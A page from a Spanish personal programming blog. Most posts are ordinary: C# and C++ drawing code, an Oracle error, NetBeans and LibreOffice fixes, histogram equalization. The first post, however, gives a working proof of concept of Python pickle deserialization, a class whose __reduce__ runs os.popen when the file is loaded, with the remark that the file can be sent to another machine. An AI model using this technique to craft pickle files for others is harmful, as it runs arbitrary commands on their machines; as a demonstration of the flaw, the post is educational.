Acerca de:

Este blog contiene los códigos, ejemplos y bases de datos que he usado cuando aprendía acerca de algún tema específico. En lugar de borrarlos (una vez dominado ya el tema), he decidido publicarlos :)

martes, 24 de noviembre de 2020

Ejemplo de la vulnerabilidad de la librería Pickle de Python

 En la documentación de la libreria Pickle aparece esta advertencia:

"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.

Un bonito tutorial en español de Pickle está aquí. Pero lo relevante lo dicen en esta web en inglés.

Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a subprocess.call() y abre el block de notas en windows:

# coding=utf-8
import subprocess
import pickle
import cPickle

# pickle sample https://programacion.net/articulo/los_pickles_de_python_1860
todo = "subprocess.call(\"notepad.exe\", shell=True)"
pickle_file = file('todo.pickle', 'w')
pickle.dump(todo, pickle_file)
pickle_file.close()

# el siguiente código puede ejecutarse en otra máquina
# basta enviarle el archivo todo.pickle

pickle_file = file('todo.pickle')
todo2 = pickle.load(pickle_file)
pickle_file.close()
exec todo2

Es un ejemplo tonto porque depende de la función exec() de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:

# coding=utf-8
import pickle
import cPickle

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "notepad.exe"
        return (os.popen, (s,))

def main():

    payload = cPickle.dumps(MMM())

    pickle_file = file('todo.pickle', 'w')
    pickle.dump(MMM(), pickle_file)
    pickle_file.close()

    # el siguiente código puede ejecutarse en otra máquina
    # basta enviarle el archivo todo.pickle   

    pickle_file = file('todo.pickle')
    pickle.load(pickle_file)
        
    pickle_file.close()

if __name__ == "__main__":
    main()

 

Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado sample_bat.bat, que copié de algún sitio en internet:

@echo off
REM Next command creates a list of program files
dir "C:\Program Files" > D:\list_of_program_files.txt

En la clase MM en el código de roo4loot hago el siguiente cambio:

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "D:\\sample_bat.bat"
        return (os.popen, (s,))

 

Y al ejecutar el script de python, me creó este archivo en mi disco D: 


El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.

miércoles, 14 de octubre de 2020

Dibujando la alfombra de Sierpinski en C#

Otra entrada migrada de la vieja web, pero con los enlaces actualizados.

Me topé con esta web https://lodev.org/cgtutor/sierpinski.html que muestra cómo dibujar el fractal de Sierpinski usando C++ y recursividad. El código es bastante simple, así que decidí implementarlo en .Net.

La idea principal para dibujar el triángulo de Sierpinski está en este párrafo:

En realidad el código fuente ya está hecho. La idea era pasarlo a C# y, como valor añadido por pura diversión, meterle punteros.

Primero creé una ventana "Form1" con un PictureBox llamado "PicS":

 

 
Aparte, creé una clase llamada Sierpinski, donde está el código para dibujar el fractal. Form1 sólo posee este código:

  

 
La variable "unaVez" se encarga de que el fractal sólo se dibuje una vez al ejecutar el programa.
El código de la clase Sierpinski es:
 
 
using System;
using System.Drawing;

namespace Sierpinsky
{
    unsafe class Sierpinski
    {
        public Graphics Draw(Graphics g, int ancho, int alto)
        {
            Graphics g0 = g;
            Point* esq = stackalloc Point[3];         
            esq[0].X = 50;
            esq[0].Y = alto - 10;
            esq[1].X = ancho - 10;
            esq[1].Y = alto - 10;
            esq[2].X = ancho/2;
            esq[2].Y = 10;
            Sierp(g0, esq, 0);
            g = g0;                                 
            return g;
        }      

        private void Sierp(Graphics g0, Point* p, int n)
        {
            Pen pen = new Pen(Color.Black, 1);
            g0.DrawLine(pen, p[0], p[1]);
            g0.DrawLine(pen, p[1], p[2]);
            g0.DrawLine(pen, p[2], p[0]);
            Point* p2 = stackalloc Point[3];

            if (n<7)
            {
                p2[0].X = (p[0].X + p[1].X)/2 + (p[1].X - p[2].X)/2;
                p2[0].Y = (p[0].Y + p[1].Y)/2 + (p[1].Y - p[2].Y)/2;
                p2[1].X = (p[0].X + p[1].X)/2 + (p[0].X - p[2].X)/2;
                p2[1].Y = (p[0].Y + p[1].Y)/2 + (p[0].Y - p[2].Y)/2;
                p2[2].X = (p[0].X + p[1].X)/2;

                p2[2].Y = (p[0].Y + p[1].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[1].X + p[2].X)/2 + (p[1].X - p[0].X)/2;
                p2[0].Y = (p[1].Y + p[2].Y)/2 + (p[1].Y - p[0].Y)/2;
                p2[1].X = (p[1].X + p[2].X)/2 + (p[2].X - p[0].X)/2;
                p2[1].Y = (p[1].Y + p[2].Y)/2 + (p[2].Y - p[0].Y)/2;
                p2[2].X = (p[1].X + p[2].X)/2;
                p2[2].Y = (p[1].Y + p[2].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[0].X + p[2].X)/2 + (p[2].X - p[1].X)/2;
                p2[0].Y = (p[0].Y + p[2].Y)/2 + (p[2].Y - p[1].Y)/2;
                p2[1].X = (p[0].X + p[2].X)/2 + (p[0].X - p[1].X)/2;
                p2[1].Y = (p[0].Y + p[2].Y)/2 + (p[0].Y - p[1].Y)/2;
                p2[2].X = (p[0].X + p[2].X)/2;
                p2[2].Y = (p[0].Y + p[2].Y)/2;
                Sierp(g0, p2, n + 1);     
            }
        }
    }
}

 
 
Y el resultado es éste: 

 
 Por ahí debo haber puesto al revés una suma, pero de salir, salió.

 
Si a la función "Sierp" le hago la siguiente modificación:
 
private void Sierp(Graphics g0, Point* p, int n)
{
    Pen pen = new Pen(Color.Black, 1);
    g0.DrawLine(pen, p[0], p[1]);
    g0.DrawLine(pen, p[1], p[2]);
    g0.DrawLine(pen, p[2], p[0]);
    Point* p2 = stackalloc Point[3];

    if (n<7)
    {
        p2[0].X = (p[0].X + p[1].X) / 2 + (p[1].X - p[2].X) / 2;
        p2[0].Y = (p[0].Y + p[1].Y) / 2 + (p[1].Y - p[2].Y) / 2;
        p2[1].X = (p[0].X + p[1].X) / 2 + (p[0].X - p[2].X) / 2;
        p2[1].Y = (p[0].Y + p[1].Y) / 2 + (p[0].Y - p[2].Y) / 2;
        p2[2].X = (p[0].X + p[1].X) / 2;
        p2[2].Y = (p[0].Y + p[1].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[0].X + p[2].X) / 2 + (p[1].X - p[0].X) / 2;
        p2[0].Y = (p[0].Y + p[2].Y) / 2 + (p[1].Y - p[0].Y) / 2;
        p2[1].X = (p[0].X + p[2].X) / 2 + (p[2].X - p[0].X) / 2;
        p2[1].Y = (p[0].Y + p[2].Y) / 2 + (p[2].Y - p[0].Y) / 2;
        p2[2].X = (p[0].X + p[2].X) / 2;
        p2[2].Y = (p[0].Y + p[2].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[1].X + p[2].X) / 2 + (p[2].X - p[1].X) / 2;
        p2[0].Y = (p[1].Y + p[2].Y) / 2 + (p[2].Y - p[1].Y) / 2;
        p2[1].X = (p[1].X + p[2].X) / 2 + (p[0].X - p[1].X) / 2;
        p2[1].Y = (p[1].Y + p[2].Y) / 2 + (p[0].Y - p[1].Y) / 2;
        p2[2].X = (p[1].X + p[2].X) / 2;
        p2[2].Y = (p[1].Y + p[2].Y) / 2;

        Sierp(g0, p2, n + 1);              
    }
}

 
El resultado será:
 
 No está mal :)


Lo mismo se puede conseguir modificando un poquito la función Sierp, simplemente añadiendo un puntero:
 



El proyecto completo hecho en Visual Studio Express 2008 se puede descargar de aquí. A diferencia del código en C++, mi código usa una sola función (la función recursiva) para dibujar el fractal.

miércoles, 7 de octubre de 2020

Error ORA-02185: a token other than WORK follows COMMIT

Es un mensaje muy feo para un error tan tonto: Una de las razones para que se genere este error en PL/SQL de Oracle es poner commit en lugar de commit; (con el punto y coma al final).

La versión que uso es Oracle 11g.

Más info aquí.

lunes, 17 de agosto de 2020

Dibujando la espiral de Fermat en Visual C++ 2017

Tomando como base esta aplicación https://programacionamartillazos.blogspot.com/2020/07/ejemplo-del-uso-de-la-api-de-windows.html quise crear la espiral de Fermat en Visual C++.

Primero se debe crear un nuevo proyecto de C++ para Escritorio de Windows:

 

En la función WndProc se deben declarar las siguientes variables:

 

Intenté que la espiral se dibujara al crear la ventana o activarla, pero sólo obtenía una ventana toda negra, éste es un detalle que no he podido resolver, así que decidí dibujar la espiral al hacer clic. Para esto se debe poner el siguente código dentro de la sentencia switch, de modo que la ventana también recibirá los eventos (mensajes) que se disparan al hacer clic con el botón izquierdo del ratón:


Lo que hace el código es obtener las coordenadas (x.y) a partir de la fórmula de la espiral de Fermat y dibujar en ellas un pequeño recuadro. En windows no hay una función para dibujar puntos, pero éstos se pueden emular dibujando rectángulos o círculos muy pequeños. El código después del bucle es para copiar el dibujo a un mapa de bits en memoria. Después de algunas pruebas, hallé un incremento y una cantidad de puntos tales que permiten ver cómo se dibuja la espiral en tiempo real:

El resto del código es para que tremenda espiral no se borre al minimizar y maximizar la ventana, el mapa de bits con la espiral se copia a la ventana en el evento repaint (mensaje WM_PAINT):


Ya con este código, y cambiando las fórmulas, se pueden dibujar otras espirales, como la de Doppler:

 

Y ya poniendo otras funciones (simplemente mezclando senos, cosenos y tangentes), conseguí dibujar cosas más interesantes:


El proyecto completo puede descargarse de aquí. Incluye más dibujos :)

martes, 21 de julio de 2020

Ejemplo del uso de la Api de Windows para dibujar rectángulos: api Rectangle()

El código que voy a mostrar a continuación está basado en este tutorial:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd145184%28v=vs.85%29.aspx
pero hace algo mucho más simple: dibuja cuadraditos en donde se hace click con el cursor:



Como estoy usando la api de Windows, recomiendo leer este otro tutorial para entender el bucle de mensajes y qué significa cada pedazo de código que voy a presentar.

Windows tiene varias funciones para dibujar figuras gemétricas y texto, en este caso voy a usar la api Rectangle(), la cual recibe como parámetros el identificador o "handle" de dónde se va a dibujar y las coordenadas de las cuatro esquinas del rectángulo.
El handle es un número que identifica la "superficie de dibujo", en este caso es nuestra ventana, para obtenerlo tenemos otra api: GetDC().
El evento que nos interesa es cuando se hace clic con el botón izquierdo, en el bucle de mensajes de la ventana es el mensaje WM_LBUTTONDOWN:



La variables necesarias son:


Se declaran estáticas para que sus valores sean persistentes y no sea necesario inicializarlas.

Las coordenadas del cursor se obtienen con la api GetCursorPos() que obtiene las coordenadas con respecto a la esquina superior de la pantalla. Para convertirlas a corrdenadas sobre la ventana se obtiene la ubicación de ésta con si sin la barra de título. para esto se usan las apis GetWindowRect() y GetClientRect(). El objeto HPEN sirve para indicar de qué color y con qué relleno queremos los rectángulos. Éstos se dibujan con la api Rectangle(). la Api ReleaseDC() es para liberar la memoria usada.

La vatiable hscreen es del tipo HDC y se coló en el código pues no se usa. Está obteniendo el handle del escritorio de Windows, el cual Windows devuelve al pasarle cero a la api GetDC().

Lo malo es que al minimizar la ventana, o taparla por otra, y volverla a mostrar, se borra lo que hemos dibujado. Para evitarlo se debe copiar la imagen de la ventana y pegarla en el evento repaint que para la api de Windows es el mensaje WM_PAINT.


Primero declaro otras dos variables:

 
Y en los mensajes WM_LBUTTONDOWN y WM_PAINT añado el siguiente código (en el mensaje WM_LBUTTONDOWN va después de llamar a la api Rectangle()):


Lo que hace el código añadido es, cuando se hace clic, crear un mapa de bits en memoria y copiar en él la imagen que se muestra en la ventana. Al repintarse la ventana se copia el mapa de bits en memoria de vuelta a la ventana, haciendo que parezca que no se ha borrado. Para copiar mapas de bits en ventanas, memoria o viceversa, uso la api BitBlt().


viernes, 5 de junio de 2020

Cómo corregir el error taskdef class com.sun.tools.ws.ant.WsImport cannot be found using the classloader AntClassLoader[] de Neatbeans 8.2

Tengo un proyecto de Netbeans 8.2, el cual incluye un cliente o referecia a un webservice. Todo estába bien hasta que quise depurarlo en Centos 7, donde fue que me saltó este error al querer compilarlo:

taskdef class com.sun.tools.ws.ant.WsImport cannot be foundusing the classloader AntClassLoader[]

Como dije, en mi Windows estaba todo bien ¿que pasó?
Rebuscando en la web halle la solución luego de tres intensos minutos de pruebas, justo aquí.

Seguimos las instrucciones:
  1. ir a  Herramientas->Opciones->Java->Ant.
  2. Hacer clic en "Add JAR/ZIP..." bajo la sección Classpath
  3. Ir a "C:\Program Files\NetBeans x.y\enterprise\modules\ext\metro\"
  4. Seleccionar todos los archivos.
  5. Clic en Ok e intentar la importación/compilación de nuevo.
 


Mi instalación de Netbeans está en /home/pc/netbeans-8.2rc. los archivos que busco están en /home/pc/netbeans-8.2rc/enterprise/modules/ext/metro/
Se deben importar todos:



Luego, al compilar, me salió el error:

/nbproject/jaxws-build.xml:22: class com.sun.tools.ws.ant.WsImport2 doesn't support the "encoding" attribute.

El Netbeans indica que el error sucede en la línea 22 del archivo jaxws-build.xml, para ir allí hay que hacerle clic al enlace en la línea donde se muestra el error (en la ventana Output):



Lo que se debe hacer aquí es borrar la etiqueta encoding en todas las líneas donde salte el error. Ya con esto, el netbeans me permitió compilar mi proyecto.

jueves, 23 de abril de 2020

Los Filósofos Comiendo en Java con Netbeans

Una explicación de este problema está en este enlace. Se trata de un problema de concurrencia: en una mesa circular hay cinco filósofos con cinco platos y cinco cucharas al lado derecho de cada uno. Todos deben poder comer sin fastidiar al filósofo de al lado. A su vez, cada filósofo emplea un tiempo en dejar de comer y ponerse a pensar.
Aquí los filósofos son hijos y las cucharas son recursos compartidos. En mi caso, las cucharas son accesos exclusivos a archivos compartidos.
Para evitar problemas de deadlock (un hilo no libera un recurso que otro necesita, mientras que el segundo hilo mantiene un recurso que el primero necesita...) o starvation (todos los recursos compartidos están ocupados), incluí varias reglas y sincronismos, por ejemplo que los filósofos sólo podían coger las cucharas a su izquierda (identificadas por sus índices). La mesa circular se simula jugando con los índices, el filósofo al que se le asigna el índice cero recibe la última y la primera cuchara:

La clase Spoon recibe como parámetros el índice del filósofo al que ha sido asignada, el número total de filósofos y los nombres de los archivos. La clase Philosopher recibe como parámetros dos objetos Spoon, el lugar que ocupa en la mesa (es decir su índice en el array), y su nombre. Es en esta clase donde se realizan las funciones multihilo.

Los archivos aparecerán en la carpeta del proyecto:


Nunca aparecerán más de cuatro archivos file1x.tmp por la regla que añadí: si se ocupan todas las cucharas, el filósofo debe soltarlas:


El proyecto completo se puede descargar de aquí, corre en java 8.

jueves, 12 de marzo de 2020

Evitar la edición automática de texto en Libre Office 6

Una cosa que odio es cuando un editor de texto edita automáticamente lo que escribo. Estaba listando unas rutas de linux en un archivo en Libre Office Write, y succedía que un texto como /home/user01/ me lo formateaba como homeuser01. Tenía que poner Crtl+z para deshacer lo que el editor insistía en hacer.
Rebuscando en los foros y la documentación de Libre Office, encontré que es muy fácil evitarlo, hay que ir a "Herramientas->Corrección Automática" y deseleccionar "Al escribir":


Si se quiere un control más preciso, se puede ir a "Opciones de corrección automática" y deseleccionar en la pestaña "Opciones" donde dice "Negrita, Itálica, tachado y subrayado automáticos":


Concuerdo con lo que dice alguien en este foro:
"Esto NUNCA debería ser un valor por defecto: este es el tipo de estupidez que hace que LO sea imposible de usar por nuevos usuarios.
Cuando alguien escribe algo, espera obtener lo que escribió a menos que diga lo contrario. ¡A quien se le ocurrió esta idea debería ser arrojado al río con una ruta de directorio de Unix atada al cuello! ;-)"

Yo propongo /dev/null como esa ruta de directorio Unix >:)

jueves, 20 de febrero de 2020

Ecualización del Histograma de una Imagen a Color

Otra entrada migrada de la vieja web:

Revisando mi programa para ecualizar el histograma de una imagen en blanco y negro, pensé que ya era hora de aplicar el mismo algoritmo pero para imágenes a color. El procedimiento es el mismo que el que explico aquí, pero la ecualización se aplica sobre las tres componentes de cada píxel (R,G,B). Aparte, le hice una mejora al código fuente: todo lo que es el procesamiento de la imagen está en una clase separada del código del formulario (la ventana del programa). La clase de llama "Imagen" y tiene un solo método: "EcuHistograma" que devuelve un mapa de bits con la imagen ya procesada. A continuación está el código que ecualiza el histograma para los tres planos R, G y B:


La imagen con el histograma ecualizado es:




Añadiendo Ruido Tipo Perlin


En Internet, ya no recuerdo cómo, me topé con esto:  https://flafla2.github.io/2014/08/09/perlinnoise.html. Debo admitir que en un principio fue difícil de entender la lógica detrás del Ruido de Perlin, mas después de mucho leer y revisar los seudocódigos, entendí de qué trataba todo:
1. Se tiene un píxel de una imagen con sus dos coordenadas: X e Y.

2. Se ingresan las coordenadas X e Y. A partir de esos dos valores, la función que genera el ruido de Perlin devolverá un solo valor, el cual se sumará o restará al píxel correspondientes a dichas coordenadas.

3. Es importante que para unos valores dados de X e Y, la función generadora del ruido de Perlin siempre dé como resultado el mismo valor, por ello se dice que es seudoaleatoria: inicia con ciertos valores aleatorios al inicio del algoritmo y que no vuelven a variar a menos que se vuelva a correr el algoritmo desde cero. Los números aleatorios se crean al inicio solamente. La función generadora sería totalmente aleatoria si generada un número aleatorio para cada píxel, mas siempre utiliza los mismos números.

Esto es más fácil de comprender en esta web, donde está el algoritmo del que basé mi código: http://www.sepcot.com/blog/2006/08/PDN-PerlinNoise2d. Este código está hecho para el programa Freeware escrito en C#: Paint.Net. Yo lo adapté para que funcionara de forma independiente, además le añadí una segunda función para generar ruido, basada en funciones trigonométricas. Al combinar mi función con la original, y jugar con algunas constantes, obtuve un interesante efecto de cuadraditos:



El código completo para ecualizar histogramas de imágenes a color y añadir ruido Perlin puede bajarse de aquí (para Visual Studio Express 2008).

miércoles, 22 de enero de 2020

Ecualización del Histograma de una Imagen en C#

Otra entrada migrada de la vieja web :)


Jugando con el Visual Studio Express, cogí mi anterior algoritmo en Matlab para ecualizar el histograma de una imagen y lo quise adaptar para C# (y de paso lo optimicé un poco). La función para cargar la imagen de prueba (en el evento Load del formulario) es espantosamente complicada, esto se puede mejorar usando la clase Path de System.IO (lo que se hace es cargar una imagen que esté en la misma ruta de la aplicación).


El programa (para Visual Studio 2008) se puede descargar de aquí. El algoritmo para ecualizar el histograma está dentro del evento click del ratón. Está pensado para valores negativos también, para el caso en que la imagen a ecualizar haya tenido algún tratamiento intermedio que genere valores negativos (los objetos Bitmap sólo aceptan valores entre 0 y 255).